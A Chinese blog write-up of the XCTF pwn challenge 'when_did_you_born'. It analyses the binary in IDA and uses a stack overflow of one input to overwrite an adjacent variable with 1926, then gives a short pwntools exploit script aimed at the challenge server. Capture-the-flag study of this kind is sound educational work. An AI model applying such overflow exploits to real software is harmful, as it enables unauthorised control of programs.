攻防世界-pwn when_did_you_born(栈覆盖)
2019-08-10 21:29
1646 查看
版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qinying001/article/details/99111617
0x01
拿到文件之后,先检查文件的基本信息
文件信息
- 64bit elf可执行文件
- 无PIE保护
0x02
执行文件
文件之中有两个输入,第一个输入有回显
0x03 IDA静态分析
可以看出获取flag需要用到v5的值,首先需要v5不等于1926,进入else这个块之中,然后又需要v5等于1926才能获取flag,就产生了矛盾。
结合程序有两个输入,可以考虑用第二个输入v4来覆盖第一个输入的栈空间,使v5在第二个if判断时变为1926。
可以看到v4和v5的栈空间地址相差8个字节,利用v4的输入将v5覆盖为1926就行。
0x03 exp
from pwn import * p = remote('111.198.29.45',57383) p.recvuntil("What's Your Birth?") p.sendline('1234') p.recvuntil("What's Your Name?") p.sendline('a'*8 + p64(1926)) p.interactive()
取得flag
相关文章推荐
- pwn when_did_you_born
- CG CTF PWN When did you born?
- Unable to find the wrapper ”https” - did youforget to enable it when you configured PHP?
- Unable to find the socket transport 'ssl' - did you forget to enable it when you configured PHP?
- Unable to find the socket transport 'ssl' - did you forget to enable it when you configured
- 攻防世界misc新手之give_you_flag
- 攻防世界——pwn_forgot
- 【每天读一点英文:生而为赢Born to Win英文经典短文】gnuhpc注释版: When Love Beckons You 爱的召唤
- Fixing “Did you mean to run dotnet SDK commands?” error when running dotnet –version
- When you believe
- 攻防世界web新手之disabled_button
- 攻防世界 web题目 get_post
- 攻防世界Web command execution
- 【翻译】What really happens when you navigate to a URL
- 攻防世界(新手篇)
- AutoInvoice运行报错:You must supply an invoice number when your batch source indicates manual invoice nu
- 访问Storm ui界面,出现org.apache.storm.utils.NimbusLeaderNotFoundException: Could not find leader nimbus from seed hosts ["master" "slave1"]. Did you specify a valid list of nimbus hosts for confi的问题解决(图文详解)
- 1.storm问题总结 Could not find leader nimbus from seed hosts [localhost] Did you specify a valid list of
- What To Do When The Boss Begs You To Stay
- 1.storm问题总结 Could not find leader nimbus from seed hosts [localhost] Did you specify a valid list of